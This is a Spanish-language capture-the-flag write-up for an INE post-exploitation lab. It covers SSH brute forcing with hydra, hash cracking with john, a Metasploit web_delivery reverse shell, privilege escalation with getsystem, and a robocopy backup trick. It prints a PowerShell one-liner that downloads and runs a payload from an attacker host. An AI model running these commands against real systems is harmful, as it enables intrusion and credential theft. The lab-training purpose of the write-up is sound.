~/write-ups/writeup-e9c7d93542

Host & Network Penetration Testing: Post-Exploitation CTF 2

Imported from Notion: Host & Network Penetration Testing: Post-Exploitation CTF 2

target:: INE Security os:: mixed MEDIUM date:: 2026.08.29 post-exploitationprivesc notion

Pistas

  1. An insecure ssh user named alice lurks in the system.

  2. Using the hashdump file discovered in the previous challenge, can you crack the hashes and compromise a user?

  3. Can you escalate privileges and read the flag in C://Windows//System32//config directory?

  4. Looks like the flag present in the Administrator’s home denies direct access.


Como siempre empezamos lanzando escaneo:

nmap -A target​.ine.l​ocal
Notion image
Notion image

Como la pista dice que el user alice es inseguro y vemos que efectivamente el puerto ssh esta abierto, vamos a brute forcearlo:

hydra -l alice -P /usr/s​hare/w​ordlis​ts/met​asploi​t/unix​_passw​ords.t​xt target​.ine.l​ocal ssh
Notion image
Notion image

Obtenemos la password —> password: princess1

Nos logueamos con ssh

ssh alice@target​.ine.l​ocal
Notion image
Notion image

Y en su directorio vemos la flag 1: 436fca441ea34f4386cbca89df8cd7d7


Vemos tambien un archivo curioso llamado hashdump.txt lo vamos a copiar en local para hacer cracking como dice la pista.

john --format=NT hashes.txt
Notion image
Notion image

Obtenemos nuevas credenciales orange (david)

Vamos a loguearos por ssh

Notion image
Notion image

Obtenemos la segunda flag: fd5069eff46e457ebbb9ca109d218097


La tercera pista dice que debemos elevar privilegios, a si que usaremos Metasploit para obtener una meterpreter y asi poder elevar facilmente nuestros privilegios.

msfconsole

Ahora buscamos web_delivery y demos poner:

msf6 exploit(multi/​script​/web_d​eliver​y) > set LHOST 10.10.41.2
LHOST => 10.10.41.2
msf6 exploit(multi/​script​/web_d​eliver​y) > set target PSH\ (Binary) 
target => PSH (Binary)
msf6 exploit(multi/​script​/web_d​eliver​y) > set payload window​s/shel​l/reve​rse_tc​p
payload => window​s/shel​l/reve​rse_tc​p
msf6 exploit(multi/​script​/web_d​eliver​y) > set PSH-En​codedC​ommand​ false
PSH-En​codedC​ommand​ => false

Lanzamos con run y nos dará el comando power​shell que debemos ejecutar en la máquina víctima

Notion image
Notion image

En este caso:

powers​hell.e​xe -nop -w hidden -c [Net.Se​rviceP​ointMa​nager]::Secu​rityPr​otocol​=[Net.Se​curity​Protoc​olType​]::Tls12;$z="echo ($env:temp+'\Cjs7Js​qT.exe​')"; (new-object System​.Net.W​ebClie​nt).Downl​oadFil​e('http:/​/10.10​.41.2:​8080/B​8ggd8c​SasbV', $z); invoke-item $z

Lo ejecutamos en la máquina victima.

Notion image
Notion image

Pulsamos Enter y vamos hacer upgrade a la sesión creada con sessions -u 1

(si falla a la primera reintentar hasta que haga upgrade a meterpreter)

Notion image
Notion image

Ahora vamos a la sesion con meterpreter con sessions 2 y vamos a ver que privilegios tiene el user david con getprivs

Notion image
Notion image

Tenemos SeImpersonatePrivilege a si que podemos escalar facilmente con getsystem

Notion image
Notion image

Vamos a la ruta de la pista: C://Windows//System32//config

Y tenemos la flag 3: 344f896677994a5f8dd9a774311fb186


Ahora vamos a C:\Users\Administrator y vemos una carpeta llamada flag pero no podemos ni acceder ni ver leer flag4.txt a si que usaremos robocopy para hacer un backup de los archivos del directorio:

robocopy /b C:\Users\Admini​strato​r\flag C:\Windows\Temp flag4.txt
Notion image
Notion image

Y ahora podemos leer en C:\Users\Administrator\flag C:\Windows\Temp\flag4.txt

Flag 4: 221413e5897c44668b085ee1a6347777


- EOF -

<< back_to_index